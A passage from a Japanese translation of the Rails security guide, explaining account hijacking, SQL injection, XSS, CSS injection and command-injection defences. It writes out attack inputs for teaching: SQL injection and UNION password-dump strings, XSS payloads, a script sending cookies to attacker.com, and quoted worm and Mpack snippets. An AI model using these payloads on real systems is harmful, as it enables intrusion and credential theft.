このような総当たり攻撃を少しでもかわすため、多くのWebアプリケーションでは具体的な情報を出さずに「ユーザー名またはパスワードが違います」という一般的なエラーメッセージを表示するようにしています。ユーザー名とパスワードどちらが違っているのかという情報を表示しないことで、総当たり攻撃による推測を少しでも遅らせます。「入力されたユーザー名は登録されていません」などという絶好の手がかりとなるメッセージを表示したら最後、攻撃者はすぐさまユーザー名リストを大量にかき集めて自動で巨大名簿を作成するでしょう。
しかし、Webアプリケーションの設計でおろそかにされがちなのは、いわゆる「パスワードを忘れた場合」ページです。こうしたページではよく「入力されたユーザー名またはメールアドレスは登録されていません」という情報が表示されます。このような攻撃の手がかりになる情報を表示してしまうと、攻撃者がアカウントへの総当り攻撃に使う有効なユーザー名一覧を作成するのに利用されてしまいます。
これを少しでも緩和するには、「パスワードを忘れた場合」ページでも一般的なエラーメッセージを表示することです。さらに特定のIPアドレスからのログインが一定回数以上失敗した場合には、CAPTCHAの入力をユーザーに義務付けるようにしましょう。もちろん、この程度で自動化された総当たり攻撃プログラムからの攻撃を完全に防げるわけではありません。その種の攻撃プログラムは、送信元IPアドレスを頻繁に変更するぐらいのことはやってのけるからです。しかしこの対策がある程度の防御になることも確かです。
ユーザーアカウントを簡単にハイジャックできるWebサイトは山ほどあります。せめて自分のWebサイトは簡単にハイジャックされないようにしましょう。
攻撃者がユーザーセッションcookieを盗み出して、Webアプリケーションが標的ユーザーとの間で共用可能になった状態を考えてみましょう。パスワードが簡単に変更できる画面設計(古いパスワードの入力が不要)になっていると、攻撃者は数クリックするだけでアカウントをハイジャックできてしまいます。あるいは、パスワード変更画面がCSRF攻撃に対して脆弱な場合、攻撃者は標的ユーザーを別のWebページに誘い込み、CSRFを実行するように仕込まれたimg
タグを踏ませて、標的ユーザーのWebパスワードを変更するでしょう。対策は、パスワード変更フォームがCSRF攻撃に対して脆弱にならないようにすることと、ユーザーがパスワードを変更するときに古いパスワードを必ず入力させることです。
しかし攻撃者は、アカウントのメールアドレスを変更してアカウントを乗っ取ろうとする可能性もあります。攻撃者がメールアドレスを変更してから「パスワードをお忘れですか?」ページにアクセスすれば、攻撃者のメールアドレスに(おそらく新しい)パスワードが配信されます。メールアドレス変更によるハイジャックを防ぐために、メールアドレス変更画面でもパスワード入力を義務付けてください。
Webアプリケーションの構成によっては、ユーザーアカウントをハイジャックする方法が他にも潜んでいる可能性があります。多くの場合、CSRFとXSSが原因となります。ここではGMailのCSRF脆弱性で紹介されている例をとりあげます。同記事の概念実証によると、この攻撃を受けた標的ユーザーは、まず攻撃者のWebサイトに誘い込まれます。そのサイトのimg
タグには仕掛けがあり、GMailのフィルタ設定を変更するHTTP GETリクエストがそこから送信されるようになっています。この標的ユーザーがGMailにログインしていた場合、フィルタ設定が攻撃者によって変更され、この場合はすべてのメールが攻撃者に転送されるようになります。これは、アカウント全体がハイジャックされた場合に匹敵する被害です。対策のため、アプリケーションのロジックを見なおしてXSS脆弱性やCSRF脆弱性を完全に排除してください。
CAPTCHAとは、コンピュータによる自動応答でないことを確認するためのチャレンジ-レスポンス式テストです。ポジティブCAPTCHAは、コメント入力欄などで、歪んだ画像に表示されている文字を入力させることで、入力者が自動スパムボットでないことを確認する場合によく使われます。ネガティブCAPTCHAは、入力者に自分が人間であることを証明させるのではなく、ボットを罠にはめて正体を暴く手法です。
CAPTCHAのAPIとしてはreCAPTCHAが有名です。これは古書から引用した単語を歪んだ画像として表示します。初期のCAPTCHAでは背景を歪めたり文字を曲げたりしていましたが、後者は突破されたため、現在では文字の上に折れ線も書き加えて強化しています。なお、reCAPTCHAは古書のデジタル化にも貢献しています。ReCAPTCHAはRailsのプラグインにもなっており、APIとして同じ名前が使われています。
このAPIでは公開鍵と秘密鍵という2つの鍵を受け取ります。これらの鍵はRailsの環境に置く必要があります。それにより、ビューでrecaptcha_tags
メソッドを、コントローラではverify_recaptcha
メソッドをそれぞれ利用できます。バリデーションに失敗するとverify_recaptcha
からfalseが返されます。
CAPTCHAの問題は、使い勝手が多少落ちることです。さらに、弱視など視力に問題のあるユーザーはCAPTCHAの歪んだ画像をうまく読めないこともあります。なおポジティブCAPTCHAは、ボットによるあらゆるフォーム自動送信を防ぐ優れた方法の1つです。
ほとんどのボットは、単にWebページをクロールしてフォームを見つけてはスパム文を自動入力するだけのお粗末なものです。ネガティブCAPTCHAはこれを逆手に取り、フォームに「ハニーポット」フィールドを置いておきます。これは、CSSやJavaScriptを用いて人間には表示されないように設定されたダミーのフィールドです。
ネガティブCAPTCHAが効果を発揮するのはWebをクロールする素朴な自動ボットからの保護のみであり、重要なサイトに狙いを定めた巧妙なボットを防ぐのには不向きです。しかしネガティブCAPTCHAとポジティブCAPTCHAをうまく組み合わせればパフォーマンスを改善できることがあります。たとえば「ハニーポット」フィールドに何か入力された(ボットが検出された)場合はポジティブCAPTCHAの検証が不要になるので、レスポンス処理の前にGoogle ReCapchaにHTTPSリクエストを送信せずに済みます。
JavaScriptやCSSを用いてハニーポットフィールドを人間から隠す方法をいくつかご紹介します。
最もシンプルなネガティブCAPTCHAは、「ハニーポット」フィールドを1つ使います。このフィールドはサーバー側でチェックして、フィールドに何か書き込まれていれば、入力がボットであると判定できます。後は、フォームの内容を無視しても通常通りメッセージを表示しても構いません(データベースには保存しないこと)。通常のメッセージをもっともらしく表示しておけば、ボットは書き込み失敗に気が付かないまま満足して次の獲物を探すでしょう。
Ned Batchelderのブログ記事には、さらに手の込んだネガティブCAPTCHA手法がいくつか紹介されています。
この方法で防御できるのは自動ボットだけであり、特定のWebサイトを標的とするオーダーメイドのボットは防げません。つまり、ネガティブCAPTCHAはログインフォームの保護には必ずしも向いているとは限りません。
パスワードをRailsのログに出力してはいけません。
デフォルトでは、RailsのログにはWebアプリケーションへのリクエストがすべて出力されます。しかしログファイルにはログイン情報、クレジットカード番号などの情報が含まれる可能性があるので、重大なセキュリティ問題の原因になることがあります。Webアプリケーションのセキュリティコンセプトを設計するときには、攻撃者がWebサーバーへのフルアクセスに成功してしまった場合についても必ず考慮しておく必要があります。パスワードや機密情報をログファイルに平文のまま出力してしまうと、データベース上でこれらの情報を暗号化する意味がなくなってしまいます。Railsアプリケーションのイニシャライザファイル(initializers/filter_parameter_logging.rb
)に、以下のようにconfig.filter_parameters
で特定のリクエストパラメータをフィルタで除外する設定を追加できます。フィルタされたパラメータは[FILTERED]
という文字に置き換えられてログに出力されます。
config.filter_parameters << :password
指定したパラメータは正規表現の「部分マッチ」によって除外されます。Railsはデフォルトで:password
を適切なイニシャライザ(initializers/filter_parameter_logging.rb
)に追加し、アプリケーションの典型的なpassword
やpassword_confirmation
やmy_token
のようなパラメータがログに出力されないようになっています(訳注: Rails 7ではデフォルトで:passw, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn
が部分マッチするようになっています)。
Rubyの正規表現でよくある落とし穴は、より安全な\A
や\z
があることを知らずに危険な^
や$
を使ってしまうことです。
Rubyの正規表現では、文字列の冒頭や末尾にマッチさせる方法が他の言語と若干異なります。このため、多くのRuby本やRails本でもこの点について間違った記載があります。どのようなセキュリティ問題が生じるのでしょうか。たとえば、URLフィールドの入力が有効かどうかを検証するのに、以下のような単純な正規表現を使ったとします。
/^https?:\/\/[^\n]+$/i
これは一部の言語では正常に動作しますが、Rubyの^
や$
は、入力全体の冒頭と末尾ではなく「行の」冒頭と末尾にマッチしてしまいます。従って、以下のように改行を含む毒入りURLはフィルタを通過してしまいます。
javascript:exploit_code();/* http://hi.com */
上のURLをフィルタで検出できない理由は、入力の2行目にマッチしてしまうからです。つまり、1行目と3行目にどんな文字列があってもフィルタを通過してしまいます。フィルタをすり抜けてしまったURLが、ビューの以下の箇所で表示されたとします。
link_to "Homepage", @user.homepage
表示されるリンクは一見無害に見えますが、クリックすると、攻撃者が送り込んだ悪質なexploit_code()
関数を初めとする任意のJavaScriptコードが実行されてしまいます。
これらの正規表現に含まれる危険な^
や$
は、以下のように安全な\A
や\z
に置き換える必要があります。
/\Ahttps?:\/\/[^\n]+\z/i
^
や$
をうっかり使ってしまうミスが頻発したため、Railsのフォーマットバリデータ(validates_format_of
)では、正規表現の冒頭の^
や末尾の$
に対して例外を発生するようになりました。めったにないと思われますが、どうしても\A
や\z
ではなく^
や$
を使いたい場合は、以下のように:multiline
オプションをtrueに設定することも可能です。
# この文字列のどの行にも"Meanwhile"という文字が含まれている必要がある validates :content, format: { with: /^Meanwhile$/, multiline: true }
この機能は、フォーマットバリデータ利用時に起きがちなミスから保護するだけのものであり、それ以上のものではない点にご注意ください。^
や$
はRubyでは 1つの行 に対してマッチし、文字列全体にはマッチしないということを開発者が十分理解しておくことが重要です。
たった1つのパラメータを変更しただけで、ユーザーが不正な権限でアクセス可能になることがあります。パラメータは、たとえどれほど難読化・隠蔽したとしても、変更される可能性が常にあることを肝に銘じてください。
改ざんされる可能性が高いパラメータといえばidでしょう。http://www.domain.com/project/1
の1がidです。このidはコントローラのparams
で取得できます。コントローラ内では多くの場合、次のようなコードが使われている可能性があります。
@project = Project.find(params[:id])
Webアプリケーションによってはこのコードで問題がないこともありますが、そのユーザーがすべてのビューを参照する権限を持っていない場合は確実に問題となります。このユーザーがURLのidを42に変更すれば、本来のidでは表示できないページを表示できてしまうからです。このようなことにならないよう、クエリには以下のようにユーザーのアクセス権も必ず含めてください。
@project = @current_user.projects.find(params[:id])
Webアプリケーションによっては、ユーザーが改ざん可能なパラメータが他にも潜んでいる可能性があります。要するに、ユーザー入力は安全確認が終わるまでは安全ではなく、ユーザーから送信されるいかなるパラメータであっても、何らかの操作が加えられている可能性が常にあるということです。
難読化やJavaScriptのセキュリティは安心材料になりません。ブラウザのWeb Developer Toolbarを使えば、フォームの隠しフィールドを見つけて変更できます。JavaScriptでユーザーの入力データを検証することは可能ですが、攻撃者が想定外の値を入力して悪質なリクエストを送信することは阻止しようがありません。Mozilla Firefox用のFirebugアドオンを使えば、すべてのリクエストをログに記録して、同じリクエストを繰り返し送信することも、リクエストを改変することも可能です。さらに、JavaScriptのバリデーションはブラウザのJavaScriptをオフにするだけで簡単にバイパスできてしまいます。さらに、クライアントやインターネットのあらゆるリクエストやレスポンスを密かに傍受するプロキシがクライアント側に潜んでいる可能性すらあります。
インジェクション(injection: 注入)とは、Webアプリケーションに悪質なコードやパラメータを導入して、そのときのセキュリティ権限で実行させることです。代表的な例は、XSS(クロスサイトスクリプティング)やSQLインジェクションです。
インジェクションが非常に厄介なのは、インジェクションで注入されるコードやパラメータは、特定のコンテキストではきわめて有害であっても、それ以外のほとんどのコンテキストでは無害であるという点です(ここでいうコンテキストは、スクリプティング、クエリ、プログラミング言語、シェル、RubyやRailsのメソッドなどです)。以下のセクションでは、インジェクション攻撃で発生する可能性のある重要なコンテキストについて説明します。ただし最初のセクションでは、インジェクションに関連するアーキテクチャ上の決定事項について説明します。
通常、サニタイズや保護やバリデーションでは、禁止リスト方式よりも許可リスト方式が望ましい方法です。
禁止リストに使われるのは、有害なメールアドレス、publicでないアクション、有害なHTMLタグなどです。許可リストはこれと真逆で、無害なメールアドレス、publicなアクション、無害なHTMLタグなどが使われます。スパムフィルタなど、対象によっては許可リストを作成しようがないこともありますが、基本的に許可リスト方式をおすすめします。
before_action
にonly: [...]
ではなくexcept: [...]
を指定すること。その方が将来コントローラにアクションを追加するときにセキュリティチェックを忘れずに済みます。<script>
を削除する禁止リスト方式ではなく、たとえば<strong>
だけを許可する許可リスト方式を使うこと。理由については以下をご覧ください。"<sc<script>ript>".gsub("<script>", "")
という攻撃にやられてしまいます。特定の項目だけを許可する許可リスト方式は、禁止リストへの追加漏れのようなヒューマンエラーに強いのも望ましい点です。
さまざまなよい手法が出現したおかげで、SQLインジェクションはRailsアプリケーションでめったに問題にならなくなりました。しかしSQLインジェクションはひとたび発生すれば壊滅的な打撃を受ける可能性があり、Webアプリケーションに対する一般的な攻撃方法でもあるため、この問題を十分に理解することが重要です。
SQLインジェクションは、Webアプリケーションのパラメータを操作してデータベースクエリに影響を与えることを目的とした攻撃手法です。SQLインジェクションは、認証をバイパスする目的でよく使われます。他にも、データを操作したり任意のデータを読み出したりする目的にも使われます。以下の例では、クエリのユーザー入力データをそのまま使わないようにする方法について解説します。
Project.where("name = '#{params[:name]}'")
上の危険なコードが検索用のアクションにあり、ユーザーは検索したいプロジェクト名を入力できるとします。ここで、悪意のあるユーザーが' OR 1) --
という文字列を入力すると、以下のSQLクエリが生成されます。
SELECT * FROM projects WHERE (name = '' OR 1) --')
2つのダッシュ「--
」が末尾に置かれると、以後に追加されるクエリがすべてコメントと見なされてしまい、実行されなくなります。そのため、projectsテーブルからすべてのレコードが取り出されます。これらは通常のユーザーからは参照できないはずのレコードです。これは、クエリですべての条件がtrueになっているために発生しています。
Webアプリケーションでは何らかの形でアクセス制御が行われるのが普通です。ユーザーがログイン情報を入力すると、Webアプリケーションはユーザーテーブルに登録されているレコードとマッチするかどうかを調べます。既存のレコードとマッチする場合、アプリケーションはアクセスを許可します。しかし、攻撃者がSQLインジェクションでこの認証をすり抜けてしまう可能性があります。以下はRailsにおける典型的なデータベースクエリです。ユーザーが入力したログイン情報パラメータとマッチするUserテーブル上の最初のレコードを返します。
User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")
ここで攻撃者が名前フィールドに「' OR '1'='1
」という文字列を入力し、「' OR '2'>'1
」をパスワードフィールドに入力すると以下のSQLクエリが生成されます。
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
マッチする最初のレコードがこのクエリによって取得され、このユーザーにアクセスが許可されてしまいます。
UNION文は2つのSQLクエリをつなぎ、1つのセットとしてデータを返します。攻撃者がUNIONでデータベースから任意のデータを読み出す可能性があります。再び上の例を用いて説明します。
Project.where("name = '#{params[:name]}'")
ここで、UNION文を用いる以下の文字列を注入したとします。
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
これによって以下のSQLが生成されます。
SELECT * FROM projects WHERE (name = '') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --'
このクエリで得られるのはプロジェクトのリストではなく(名前が空欄のプロジェクトはないので)、ユーザー名とパスワードのリストです。パスワードをセキュアな方法でハッシュ化していればまだ最悪の事態は避けられます。一方、攻撃者にとっての問題は、両方のクエリでカラムの数を同じにしなければならないことだけです。この攻撃用文字列では、そのために2番目のクエリに「1」を連続して配置しています。これらの値は常に1になるので、1番目のクエリのカラム数と一致します。
同様に、2番目のクエリではカラム名をASでリネームしています。これにより、ユーザーテーブルから取り出した値がWebアプリケーション上で表示されます。Railsは必ず2.1.1以上にアップデートしてください。
Ruby on Railsには、特殊なSQL文字をフィルタするしくみが組み込まれており、「'
」「"
」「NULL」「改行」をエスケープします。Model.find(id)
やModel.find_by_*(引数)
といったクエリでは自動的にこの対策が適用されます。ただし、SQLフラグメント、特に条件フラグメント(where("...")
)、connection.execute()
またはModel.find_by_sql()
メソッドについては手動でエスケープする必要があります。
条件オプションに文字列を直接渡す代わりに、以下のように位置指定ハンドラを使うことで、汚染された文字列をサニタイズできます。
Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first
第1パラメータでは、SQLクエリのフラグメントに疑問符?
が2つ含まれています。2つの疑問符?
は、第2と第3パラメータの変数の値でそれぞれ置き換えられます。
以下のように名前付きハンドラを用いて、ハッシュから値を取り出すこともできます。
values = { zip: entered_zip_code, qty: entered_quantity } Model.where("zip_code = :zip AND quantity >= :qty", values).first
さらに、ユースケースによっては有効な条件を分割したうえでチェインすることも可能です。
Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first
上の対策は、モデルのインスタンスでしか利用できない点にご注意ください。それ以外の場所ではsanitize_sql
をお試しください。SQLで外部入力文字列を使うときは、常にセキュリティ上の影響を考える習慣を付けましょう。
XSSはWebセキュリティ上の脆弱性の中でも非常に発生しやすく、ひとたび発生すると壊滅的な影響が生じる可能性があります。XSSを利用した悪意のある攻撃が行われると、クライアント側のコンピュータに実行可能なコードが注入されてしまいます。Railsには、このような攻撃をかわすためのヘルパーメソッドが用意されています。
攻撃点(entry point)とは、攻撃の対象となる、脆弱なURLおよびパラメータのことです。
攻撃点として最も選ばれやすいのはメッセージ投稿、ユーザーコメント、ゲストブックですが、プロジェクトタイトル、ドキュメント名、検索結果ページなど、ユーザーがデータを入力可能なあらゆる部分が攻撃点になる可能性があります。ただし、攻撃者がデータを入力するのはWebサイト上の入力ボックスとは限りません。URLに含まれているパラメータ、URLに直接含まれていないが利用可能な「隠し」パラメータ、URLに含まれない内部パラメータにも攻撃者がデータを入力する可能性があります。攻撃者がすべてのトラフィックを傍受している可能性を常に考慮に入れる必要があります。アプリケーションプロキシやクライアント側プロキシを悪用すれば、リクエストを簡単に改ざんできます。また、バナー広告を経由して攻撃される可能性もあります。
XSS攻撃のしくみは次のとおりです。攻撃者が何らかのコードをWebアプリケーションに注入すると、アプリケーションはそれを保存して標的ユーザーのWebページ上に表示します。XSS事例の多くは警告ボックスを表示する程度ですが、実際はもっと凶悪なことも可能です。XSSを使うことで、cookieの盗み出し、セッションのハイジャック、標的ユーザーを偽のWebサイトに誘い込む、攻撃者の利益になるような広告を表示する、Webサイトの要素を書き換えてユーザー情報を盗み出す、あるいはWebブラウザのセキュリティホールを経由して邪悪なソフトウェアをインストールすることもできます。
2007年後半には、Mozillaブラウザで88件の脆弱性、Safariで22件、IEで18件、Operaで12件の脆弱性が報告されました。「Symantec Global Internet Security threat report」には、2007年後半にブラウザのプラグインで239件の脆弱性が報告されています。Mpackという非常に活発かつ最新の攻撃用フレームワークは、これらの脆弱性を利用しています。犯罪的なハッカーにとって、WebアプリケーションフレームワークのSQLインジェクションの脆弱性につけ込んで、テキストテーブルのカラムに凶悪なコードを注入して回るのはたまらない魅力です。2008年4月には、51万以上のWebサイトがこの方法でハッキングされ、英国政府、国連など多くの有名サイトが被害を受けました。
XSS攻撃に利用されやすい言語は、言うまでもなくクライアント側で最も普及している言語であるJavaScriptであり、しばしばHTMLと組み合わせて攻撃に利用されます。攻撃を避けるにはユーザー入力をエスケープすることが不可欠です。
XSSのしくみを確かめる最も簡単なテストをご紹介します。
<script>alert('Hello');</script>
このJavaScriptコードを実行すると、警告ボックスが1つ表示されるだけです。次の例は、見かけの動作はまったく同じですが、通常ではありえない場所にコードが置かれています。
<img src="javascript:alert('Hello')"> <table background="javascript:alert('Hello')">
上の例では何の害も生じないので、今度は攻撃者がユーザーのcookieを盗み出す方法(およびそれを用いてセッションをハイジャックする方法)を見ていきましょう。JavaScriptでは、document.cookie
プロパティでドキュメントのcookieを読み書きできます。ブラウザのJavaScriptには同一オリジンポリシーが強制的に適用されます。これは、あるドメインから送り込まれたスクリプトからは、別のドメインのcookieにアクセスできないようにするポリシーです。document.cookie
プロパティには、オリジンWebサーバーのcookieが保存されています。しかし、HTMLドキュメントに直接コードを埋め込むと(XSSによって発生すると)、このプロパティを読み書きできてしまいます。このコードを自分のWebアプリケーションの適当な場所に手動で注入してみれば、そのページに含まれている自身のcookieが表示されることを確かめられます。
<script>document.write(document.cookie);</script>
もちろん、攻撃者にしてみれば標的ユーザーが自分で自分のcookieを表示したところで何の意味もありません。次の例ではhttp://www.attacker.com/
というURLから画像とcookieを読み込みます。言うまでもありませんが、このURLは実際には存在しませんので、ブラウザには何も表示されません(訳注: 現在は売り物件のWebページがあるようです)。ただし攻撃者が自分たちのWebサーバーのアクセスログファイルを調べて標的ユーザーのcookieを参照する可能性もあります。
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
www.attacker.com サイト上のログファイルには以下のように出力されます。
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
httpOnly
フラグをcookieに追加することで、この攻撃を明示的に緩和できます。これにより、document.cookie
をJavaScriptで読み出せなくなります。httpOnly
cookieは、IE v6.SP1、Firefox v2.0.0.5、Opera 9.5、Safari 4、Chrome 1.0.154以降で利用できます。ただしWebTVやMac版IE 5.5などの古いブラウザでは、ページ上での読み込みに失敗します。なお、Ajaxを使うとcookieが表示可能になることにもご注意ください。
Webページを書き換える(汚損する)ことで、偽の情報を表示したり、標的ユーザーを攻撃者の偽サイトに誘い込んでcookieやログイン情報などの重要データを盗み出すなどのさまざまな攻撃が可能になります。最も多い攻撃は、以下のようにiframe
タグを悪用して外部のコードをWebページに含める方法です。
<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
このコードによって、外部にある任意のHTMLやJavaScriptが読み込まれ、Webサイトの一部として埋め込まれます。上のiframeは、イタリアにあるWebサイトへのMpack攻撃フレームワークによる攻撃で実際に用いられたものです。MpackはWebブラウザのセキュリティホールを介して悪質なソフトウェアをインストールしようとします。攻撃の成功率は50%を誇っています。
さらに特殊な攻撃としては、偽のWebサイト全体またはログインフォームを上に重ねて表示するという手口があります。これらは元のサイトと一見そっくりですが、入力されたユーザー名とパスワードを密かに攻撃者のサイトに送信します。あるいは、CSSやJavaScriptを駆使してWebアプリケーション上の本物のリンクを隠して別のリンクを表示し、ユーザーを偽のサイトにリダイレクトするという手法もあります。
反射型インジェクション(Reflected injection)攻撃は、後で標的ユーザーに表示するペイロードを実際には保存せず、代わりにURLに長大な文字列として仕込んでおく手法です。特に検索フォームで検索文字列のエスケープに失敗します。以下のリンク先には、「ジョージ・ブッシュが9歳の男の子を議長に任命」と書かれたページが表示されていました。
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--> <script src=http://www.securitylab.ru/test/sc.js></script><!--
悪意のある入力をフィルタすることがきわめて重要です。同様に、Webアプリケーションの出力をエスケープすることも重要です。
特にXSSの場合、禁止リスト方式ではなく許可リスト方式で入力をフィルタすることが絶対重要です。許可リストフィルタでは特定の値のみが許可され、それ以外の値はすべて拒否されます。しかし禁止リストはどうやっても不完全になります。
たとえば、ユーザー入力からscript
という文字を除去するのに使われている禁止リストがあるとしましょう。それなら攻撃者は次には「<scrscriptipt>
」という文字を入力するでしょう。この文字がフィルタで除去されると「<script>
」という文字がそっくり残ってしまいます。以前のRailsではstrip_tags()
、strip_links()
、sanitize()
メソッドで禁止リスト的アプローチが使われていたため、当時は以下のようなインジェクション攻撃が可能でした。
strip_tags("some<<b>script>alert('hello')<</b>/script>")
フィルタから返される「some<script>alert('hello')</script>
」という文字列の攻撃能力は失われていません。これが、フィルタで許可リストを用いることをおすすめする理由です。許可リストによるフィルタは、Rails 2でアップデートされたsanitize()
メソッドで使われています。
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) s = sanitize(user_input, tags: tags, attributes: %w(href title))
この方法なら指定されたタグのみが許可されるため、あらゆる攻撃方法や悪質なタグに対してフィルタが正常に機能します。
第2段階として、Webアプリケーションからの出力を1つ残らずエスケープすることが優れた対策となります。これは特に、ユーザー入力の段階でフィルタされなかった文字列がWeb画面に再表示された場合に有効です。html_escape()
(または別名のh()
)メソッドを用いて、HTML入力文字(&
、"
、<
、>
)を無害なHTML表現形式(&
、"
、<
、>
)に置き換えます。
従来のネットワークトラフィックは西欧文化圏のアルファベットがほとんどでしたが、それ以外の言語を伝えるためにUnicodeなどの新しいエンコード方式が登場しました。しかしこれはWebアプリケーションにとっては新たな脅威となる可能性があります。エンコーディングが異なるコード内に、ブラウザでは処理可能だがサーバーでは処理されないような悪意のあるコードが潜んでいるかもしれないからです。UTF-8による攻撃方法の例を以下に示します。
<img src=javascript:a lert('XSS')>
上の例を実行するとメッセージボックスが表示されます。なお、これは上のsanitize()
フィルタで認識されます。Hackvertorは文字列の難読化とエンコードを行なう優れたツールであり、「敵を知る」のに最適です。Railsのsanitize()
メソッドを使うと、このようなエンコーディング攻撃を回避できます。
近年におけるWebアプリケーションへの攻撃を理解するには、実際の攻撃例を目にするのがベストです。
以下はJs.Yamanner@m Yahoo! Mailワームからの抜粋です。この攻撃は2006年6月11日に行われたもので、Webメールインターフェイスを利用したワームの最初の事例です。
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=""onload="var http_request = false; var Email = ''; var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
このワームはYahooのHTML/JavaScriptフィルタの抜け穴を利用していました。このフィルタは元来、JavaScriptが仕込まれる可能性のあるtarget
属性とonload
属性をすべてフィルタするようになっていました。しかし残念ながらこのフィルタは1度しか実行されなかったため、ワームが潜むonload
属性が除去されずにそのまま残ってしまいました。この事例からも、完璧な禁止リストフィルタは永遠にありえないこと、そしてWebアプリケーションでHTML/JavaScriptを許可するのが難しい理由をおわかりいただけると思います。
webmailワームの他の概念実証的な事例としてNdujaを取り上げます。詳しくはRosario Valotta'の論文を参照してください。どちらのwebmailワームも営利目的の犯罪的ハッカーによるメールアドレスの収集が狙いです。
2006年12月、実在する34,000人のユーザー名とパスワードがMySpaceへのフィッシング攻撃によって盗み出されました。この攻撃では「login_home_index_html」というURLのプロファイルページが捏造され、ユーザーからはいかにも普通のログインURLのように見えました。MySpaceの本物のWebページコンテンツは特殊なHTML/CSSによって隠され、代わりに独自の偽ログインページを表示しました。
CSSインジェクションは実際にはJavaScriptのインジェクションです(IEや特定のバージョンのSafariなどではCSSに含まれるJavaScriptの実行が許可されています)。WebアプリケーションでカスタムCSSを許可するときは十分に検討してからにしましょう。
CSSインジェクションの説明に最適なのは、かの有名なMySpace Samyワームです。このワームは、攻撃者であるSamyのプロファイルページを開くだけで自動的にSamyに友達リクエストを送信するというものです。他愛もないいたずらだったかもしれませんが、Samyのもとには数時間のうちに百万件以上の友達リクエストが集まり、それによってMySpaceに膨大なトラフィックが発生してサイトがダウンしてしまいました。以下はこのワームに関する技術的な解説です。
MySpaceでは多くのタグをブロックしていましたが、CSSについては禁止していなかったので、ワームの作者はCSSに以下のようなJavaScriptを仕込みました。
<div style="background:url('javascript:alert(1)')">
ここでスクリプトの正味の部分(ペイロード)はstyle属性に置かれています。一重引用符と二重引用符が既に両方使われているので、このペイロードでは引用符を使えません。しかしJavaScriptにはどんな文字列もコードとして実行できてしまう便利なeval()
関数があります。この関数は強力ですが危険です。
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
eval()
関数は禁止リスト方式の入力フィルタにとってはまさに悪夢です。この関数を使われてしまうと、たとえば「innerHTML」という単語を以下のようにstyle
属性に隠すことが可能になってしまいます。
alert(eval('document.body.inne' + 'rHTML'));
ワーム作者の次の問題は、MySpaceが"javascript"という単語をフィルタしていたことです。そこで「java<NEWLINE>script
」と書くことでこのフィルタを突破しました。
<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">
ワーム作者にとって次の問題は、CSRFセキュリティトークンの存在です。このトークンがあると友達リクエストをPOSTで送信できないので、ユーザーが追加される直前にページに送信されたGETリクエストの結果を解析してCSRFトークンを手に入れることで回避していました。
最終的に4KBサイズのワームができあがり、作者は自分のプロファイルページにこれを注入しました。
moz-binding
というCSSプロパティは、FirefoxなどのGeckoベースのブラウザでCSS経由のJavaScript注入に利用される可能性があることが判明しています。
この例でも、禁止リストによる完璧なフィルタは決して作れないことがわかります。しかしWebアプリケーションでカスタムCSSを使える機能はめったにないので、これを効果的にフィルタできる許可リストCSSフィルタを見つけるのは難しいでしょう。Webアプリケーションの色や画像をユーザーがカスタマイズ可能にする場合は、ユーザーに色や画像を選ばせてから、WebアプリケーションでCSSをビルドするようにしましょう。ユーザーがCSSを直接カスタマイズできるようにしてはいけません。どうしても必要であれば、Railsのsanitize()
メソッドを参考にして許可リストベースのCSSフィルタを作りましょう。
セキュリティ上の理由でHTML以外のテキストフォーマット機能を提供する場合は、何らかのマークアップ言語を採用し、それをサーバー側でHTMLに変換してください。RedClothはRuby用に開発されたマークアップ言語の一種ですが、注意して使わないとXSSに対して脆弱になる可能性もあります。
例として、RedClothは _test_
というマークアップを<em>test<em>
に変換します。この箇所のテキストはイタリックになります。しかし、執筆当時の最新バージョンである3.0.4までのRedClothはXSSに関しても脆弱でした。この重大なバグを取り除くには最新のバージョン4を入手してください。しかし新しいバージョンでも若干のセキュリティバグが見つかったので、対策は不可欠です。バージョン3.0.4の例を以下に示します。
RedCloth.new('<script>alert(1)</script>').to_html # => "<script>alert(1)</script>"
テキスタイルプロセッサによって作成されていないHTMLを除去するには、:filter_html
オプションをお使いください。
RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html # => "alert(1)"
ただしこのメソッドでは、仕様上一部のHTMLタグ(<a>
など)が除去されません。
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html # => "<p><a href="javascript:alert(1)">hello</a></p>"
XSS対策で既に述べたとおり、RedClothは許可リストフィルタと組み合わせて使うことが推奨されます。
Ajaxでも、通常のWebアプリケーション開発上で必要なセキュリティ上の注意と同様の注意が必要です。ただし少なくとも1つ例外があります。Ajaxの出力は、アクションがビューをレンダリングしない場合でもエスケープが必要です。
in_place_editorプラグインや、ビューをレンダリングせずに文字列を返すアクションを使う場合は、アクションが返す値を確実にエスケープする必要があります。戻り値にXSSで汚染された文字列が含まれていると、ブラウザで表示されたときに悪意のあるコードが実行されてしまいます。入力値は常にh()
メソッドでエスケープしてください。
ユーザーが入力したデータをコマンドラインのパラメータで使う場合は十分に注意してください。
Webアプリケーションで背後のOSコマンドを実行しなければならない場合、Rubyにはexec(コマンド名)
メソッド、syscall(コマンド名)
メソッド、system(コマンド名)
メソッド、そしてバッククォート記法(`コマンド名`
)が用意されています。特に、ユーザーがこれらのコマンド全体または一部を入力できる場合は注意が必要です。ほとんどのシェルでは、コマンドにセミコロン;
や垂直バー|
を追加して別のコマンドを簡単に結合できてしまいます。
